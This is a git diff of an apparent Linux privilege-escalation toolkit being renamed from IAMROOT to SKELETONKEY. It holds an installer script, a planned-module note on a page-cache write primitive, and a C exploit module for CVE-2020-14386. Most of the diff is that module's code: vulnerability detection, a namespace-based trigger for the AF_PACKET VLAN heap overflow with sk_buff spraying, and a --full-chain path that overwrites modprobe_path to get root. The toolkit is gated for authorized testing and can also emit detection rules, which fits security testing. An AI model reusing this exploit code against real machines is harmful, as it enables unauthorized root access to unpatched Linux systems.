|
fi
|
||||||
|
|
||||||
chmod +x "$tmp/iamroot"
|
chmod +x "$tmp/skeletonkey"
|
||||||
|
|
||||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||||
target_path="$PREFIX/iamroot"
|
target_path="$PREFIX/skeletonkey"
|
||||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||||
mv "$tmp/iamroot" "$target_path"
|
mv "$tmp/skeletonkey" "$target_path"
|
||||||
elif command -v sudo >/dev/null 2>&1; then
|
elif command -v sudo >/dev/null 2>&1; then
|
||||||
log "$PREFIX needs sudo; you may be prompted for password"
|
log "$PREFIX needs sudo; you may be prompted for password"
|
||||||
sudo mv "$tmp/iamroot" "$target_path"
|
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||||
else
|
else
|
||||||
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
|
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
ok "installed: $target_path"
|
ok "installed: $target_path"
|
||||||
@@ -104,10 +121,10 @@ cat >&2 <<EOF
|
|||||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||||
|
|
||||||
Quickstart:
|
Quickstart:
|
||||||
sudo iamroot --scan # what's this box vulnerable to?
|
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||||
sudo iamroot --audit # broader system hygiene
|
sudo skeletonkey --audit # broader system hygiene
|
||||||
sudo iamroot --detect-rules --format=auditd \\
|
sudo skeletonkey --detect-rules --format=auditd \\
|
||||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||||
|
|
||||||
See \`iamroot --help\` for all commands.
|
See \`skeletonkey --help\` for all commands.
|
||||||
EOF
|
EOF
|
||||||
|
|||||||
@@ -1,27 +0,0 @@
|
|||||||
# Fragnesia — CVE pending
|
|
||||||
|
|
||||||
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
|
|
||||||
> Phase 7+.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
ESP shared-frag in-place encrypt path can be coerced into writing
|
|
||||||
into the page cache of an unrelated file. Same primitive shape as
|
|
||||||
Dirty Frag, different reach.
|
|
||||||
|
|
||||||
## Status
|
|
||||||
|
|
||||||
Audit-stage. See
|
|
||||||
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
|
|
||||||
section on backup primitives. Notably: trigger appears to require
|
|
||||||
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
|
|
||||||
cap-dead, but on host systems where user_ns clone is enabled it's
|
|
||||||
reachable.
|
|
||||||
|
|
||||||
## Decision needed before implementing
|
|
||||||
|
|
||||||
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
|
|
||||||
yes, this module ships. If we restrict to "default Linux user
|
|
||||||
account, no namespace tricks," this module is out of scope.
|
|
||||||
|
|
||||||
## Not started.
|
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
# NOTICE — af_packet2 (CVE-2020-14386)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2020-14386** — AF_PACKET `tpacket_rcv` VLAN integer underflow
|
||||||
|
(`maclen = skb_network_offset(skb)` when network header precedes
|
||||||
|
maclen) → 8-byte heap OOB write at the start of the next slab object.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **Or Cohen** (Palo Alto Networks),
|
||||||
|
September 2020.
|
||||||
|
|
||||||
|
Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
|
||||||
|
|
||||||
|
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
|
||||||
|
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
Sibling of CVE-2017-7308; same subsystem, different code path.
|
||||||
|
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
|
||||||
|
PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
|
||||||
|
attempts the Or-Cohen-style sk_buff data-pointer hijack through
|
||||||
|
the shared finisher.
|
||||||
|
|
||||||
|
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
|
||||||
|
module so detection signatures dedupe cleanly.
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef AF_PACKET2_IAMROOT_MODULES_H
|
|
||||||
#define AF_PACKET2_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module af_packet2_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+94
-135
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* af_packet2_cve_2020_14386 — IAMROOT module
|
* af_packet2_cve_2020_14386 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
|
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
|
||||||
* write-before-allocation. Different bug from CVE-2017-7308 — same
|
* write-before-allocation. Different bug from CVE-2017-7308 — same
|
||||||
@@ -10,12 +10,12 @@
|
|||||||
* - Default (no --full-chain): the exploit() entry point reaches the
|
* - Default (no --full-chain): the exploit() entry point reaches the
|
||||||
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
|
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
|
||||||
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
|
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
|
||||||
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
|
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
|
||||||
* behavior — kernel-version-agnostic, no offsets baked in).
|
* behavior — kernel-version-agnostic, no offsets baked in).
|
||||||
* - With --full-chain: after the underflow lands, we resolve kernel
|
* - With --full-chain: after the underflow lands, we resolve kernel
|
||||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||||
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
|
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
|
||||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
|
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
|
||||||
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
|
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
|
||||||
* us a single 8-byte heap-OOB write into the head of the
|
* us a single 8-byte heap-OOB write into the head of the
|
||||||
* adjacent-page slab object; we spray sk_buffs so that next-page
|
* adjacent-page slab object; we spray sk_buffs so that next-page
|
||||||
@@ -43,11 +43,8 @@
|
|||||||
* before backport. Embedded systems with 4.x kernels still in production.
|
* before backport. Embedded systems with 4.x kernels still in production.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -55,13 +52,19 @@
|
|||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <sys/ioctl.h>
|
#include <sys/ioctl.h>
|
||||||
#include <sys/syscall.h>
|
#include <sys/syscall.h>
|
||||||
@@ -72,52 +75,6 @@
|
|||||||
#include <linux/if_ether.h>
|
#include <linux/if_ether.h>
|
||||||
#include <linux/if_arp.h>
|
#include <linux/if_arp.h>
|
||||||
#include <poll.h>
|
#include <poll.h>
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
|
||||||
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
|
|
||||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
|
||||||
* The exploit path is gated at runtime on the kernel version anyway,
|
|
||||||
* so the stubs are never reached on macOS targets. */
|
|
||||||
#ifndef __linux__
|
|
||||||
#define CLONE_NEWUSER 0x10000000
|
|
||||||
#define CLONE_NEWNET 0x40000000
|
|
||||||
#define ETH_P_ALL 0x0003
|
|
||||||
#define ETH_P_8021Q 0x8100
|
|
||||||
#define ETH_P_8021AD 0x88A8
|
|
||||||
#define ETH_P_IP 0x0800
|
|
||||||
#define ETH_ALEN 6
|
|
||||||
#define ETH_HLEN 14
|
|
||||||
#define VLAN_HLEN 4
|
|
||||||
#define IFF_UP 0x01
|
|
||||||
#define IFF_RUNNING 0x40
|
|
||||||
#define SIOCSIFFLAGS 0x8914
|
|
||||||
#define SIOCGIFINDEX 0x8933
|
|
||||||
#define SIOCGIFFLAGS 0x8913
|
|
||||||
#define SOL_PACKET 263
|
|
||||||
#define PACKET_RX_RING 5
|
|
||||||
#define PACKET_VERSION 10
|
|
||||||
#define PACKET_QDISC_BYPASS 20
|
|
||||||
#define TPACKET_V2 1
|
|
||||||
#define PACKET_HOST 0
|
|
||||||
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
|
|
||||||
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
|
|
||||||
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
|
|
||||||
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
|
|
||||||
struct pollfd { int fd; short events, revents; };
|
|
||||||
#define POLLIN 0x001
|
|
||||||
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
|
|
||||||
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
|
|
||||||
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
|
|
||||||
#define MAP_SHARED 0x01
|
|
||||||
#define MAP_LOCKED 0x2000
|
|
||||||
#define PROT_READ 0x1
|
|
||||||
#define PROT_WRITE 0x2
|
|
||||||
#define MAP_FAILED ((void *)-1)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
||||||
{4, 9, 235},
|
{4, 9, 235},
|
||||||
@@ -135,62 +92,53 @@ static const struct kernel_range af_packet2_range = {
|
|||||||
sizeof(af_packet2_patched_branches[0]),
|
sizeof(af_packet2_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
pid_t pid = fork();
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (pid < 0) return -1;
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
if (pid == 0) {
|
* and identical across every module's detect(). */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
_exit(1);
|
if (!v || v->major == 0) {
|
||||||
}
|
if (!ctx->json)
|
||||||
int status;
|
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
|
||||||
waitpid(pid, &status, 0);
|
"version — bailing\n");
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
|
||||||
|
|
||||||
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
|
||||||
{
|
|
||||||
struct kernel_version v;
|
|
||||||
if (!kernel_version_current(&v)) {
|
|
||||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
|
||||||
return IAMROOT_TEST_ERROR;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||||
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
bool patched = kernel_range_is_patched(&af_packet2_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
|
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
|
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
|
||||||
@@ -223,8 +171,6 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
|||||||
* the primitive. It does not land cred overwrite.
|
* the primitive. It does not land cred overwrite.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
||||||
* objects are sprayed so the OOB write lands on attacker bytes. */
|
* objects are sprayed so the OOB write lands on attacker bytes. */
|
||||||
static void af_packet2_skb_spray(int n_iters)
|
static void af_packet2_skb_spray(int n_iters)
|
||||||
@@ -280,7 +226,7 @@ static int get_ifindex(const char *name)
|
|||||||
/* The primitive run; executed inside the unshare()'d child. Returns
|
/* The primitive run; executed inside the unshare()'d child. Returns
|
||||||
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
|
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
|
||||||
* at the kernel level (setsockopt rejected our crafted ring)". */
|
* at the kernel level (setsockopt rejected our crafted ring)". */
|
||||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (bring_up_lo() < 0) {
|
if (bring_up_lo() < 0) {
|
||||||
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
|
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
|
||||||
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
|
||||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
|
||||||
{
|
|
||||||
(void)ctx;
|
|
||||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
||||||
*
|
*
|
||||||
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
||||||
@@ -473,7 +410,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
|||||||
* Reality check on this implementation: the deterministic mechanics
|
* Reality check on this implementation: the deterministic mechanics
|
||||||
* of the above (precise frame size, repeated spray timing, sk_buff
|
* of the above (precise frame size, repeated spray timing, sk_buff
|
||||||
* struct offset for the running kernel) are not portable enough to
|
* struct offset for the running kernel) are not portable enough to
|
||||||
* land reliably from a single iamroot run on an arbitrary host. We
|
* land reliably from a single skeletonkey run on an arbitrary host. We
|
||||||
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
|
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
|
||||||
* trigger sequence, then return -1 to signal "the primitive fired
|
* trigger sequence, then return -1 to signal "the primitive fired
|
||||||
* but we cannot empirically confirm the write landed". The shared
|
* but we cannot empirically confirm the write landed". The shared
|
||||||
@@ -486,11 +423,11 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
|||||||
* write-and-readback once the per-kernel sk_buff layout is pinned
|
* write-and-readback once the per-kernel sk_buff layout is pinned
|
||||||
* down for the target host. */
|
* down for the target host. */
|
||||||
struct afp2_arb_ctx {
|
struct afp2_arb_ctx {
|
||||||
const struct iamroot_ctx *ictx;
|
const struct skeletonkey_ctx *ictx;
|
||||||
int n_attempts; /* spray/fire rounds before giving up */
|
int n_attempts; /* spray/fire rounds before giving up */
|
||||||
};
|
};
|
||||||
|
|
||||||
#if defined(__x86_64__) && defined(__linux__)
|
#if defined(__x86_64__)
|
||||||
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||||
{
|
{
|
||||||
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
||||||
@@ -508,9 +445,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
* frame would then write our payload (the modprobe_path string)
|
* frame would then write our payload (the modprobe_path string)
|
||||||
* into the forged ->data target. */
|
* into the forged ->data target. */
|
||||||
for (int i = 0; i < c->n_attempts; i++) {
|
for (int i = 0; i < c->n_attempts; i++) {
|
||||||
#ifdef __linux__
|
|
||||||
af_packet2_skb_spray(8);
|
af_packet2_skb_spray(8);
|
||||||
#endif
|
|
||||||
pid_t p = fork();
|
pid_t p = fork();
|
||||||
if (p < 0) return -1;
|
if (p < 0) return -1;
|
||||||
if (p == 0) {
|
if (p == 0) {
|
||||||
@@ -535,15 +470,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
}
|
}
|
||||||
int st;
|
int st;
|
||||||
waitpid(p, &st, 0);
|
waitpid(p, &st, 0);
|
||||||
#ifdef __linux__
|
|
||||||
af_packet2_skb_spray(8);
|
af_packet2_skb_spray(8);
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||||
* empirically confirm the 8-byte write landed on an sk_buff->data
|
* empirically confirm the 8-byte write landed on an sk_buff->data
|
||||||
* field on this host. Return -1 so the finisher's sentinel-check
|
* field on this host. Return -1 so the finisher's sentinel-check
|
||||||
* loop in iamroot_finisher_modprobe_path() correctly reports
|
* loop in skeletonkey_finisher_modprobe_path() correctly reports
|
||||||
* "payload didn't run within 3s" rather than claiming success. */
|
* "payload didn't run within 3s" rather than claiming success. */
|
||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
|
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
|
||||||
@@ -563,25 +496,28 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* 1. Re-confirm vulnerability. */
|
/* 1. Re-confirm vulnerability. */
|
||||||
iamroot_result_t pre = af_packet2_detect(ctx);
|
skeletonkey_result_t pre = af_packet2_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
|
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 2. Refuse if already root. */
|
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||||
if (geteuid() == 0) {
|
* can construct a non-root fingerprint regardless of the test
|
||||||
|
* process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
/* Defense in depth — the dispatcher should have gated this. */
|
/* Defense in depth — the dispatcher should have gated this. */
|
||||||
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
|
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -597,7 +533,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
|||||||
pid_t pid = fork();
|
pid_t pid = fork();
|
||||||
if (pid < 0) {
|
if (pid < 0) {
|
||||||
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
|
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (pid == 0) {
|
if (pid == 0) {
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
@@ -644,7 +580,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] af_packet2: primitive child crashed "
|
fprintf(stderr, "[-] af_packet2: primitive child crashed "
|
||||||
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
|
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
|
||||||
WTERMSIG(status));
|
WTERMSIG(status));
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
switch (WEXITSTATUS(status)) {
|
switch (WEXITSTATUS(status)) {
|
||||||
case 3:
|
case 3:
|
||||||
@@ -652,65 +588,88 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
|
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
|
||||||
"appears patched at runtime\n");
|
"appears patched at runtime\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
case 2:
|
case 2:
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
case 4:
|
case 4:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
|
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
|
||||||
"(scope = PRIMITIVE-DEMO)\n"
|
"(scope = PRIMITIVE-DEMO)\n"
|
||||||
" For end-to-end root, see Or Cohen's public PoC "
|
" For end-to-end root, see Or Cohen's public PoC "
|
||||||
"(github.com/google/security-research).\n"
|
"(github.com/google/security-research).\n"
|
||||||
" iamroot intentionally does not embed per-kernel offsets.\n");
|
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||||
}
|
}
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
#if defined(__x86_64__) && defined(__linux__)
|
#if defined(__x86_64__)
|
||||||
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
||||||
* sk_buff-data-pointer hijack via the shared modprobe_path
|
* sk_buff-data-pointer hijack via the shared modprobe_path
|
||||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||||
* resolve modprobe_path, refuse with a helpful message
|
* resolve modprobe_path, refuse with a helpful message
|
||||||
* rather than fabricate an address. */
|
* rather than fabricate an address. */
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("af_packet2");
|
skeletonkey_finisher_print_offset_help("af_packet2");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
}
|
}
|
||||||
struct afp2_arb_ctx arb_ctx = {
|
struct afp2_arb_ctx arb_ctx = {
|
||||||
.ictx = ctx,
|
.ictx = ctx,
|
||||||
.n_attempts = 4,
|
.n_attempts = 4,
|
||||||
};
|
};
|
||||||
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
|
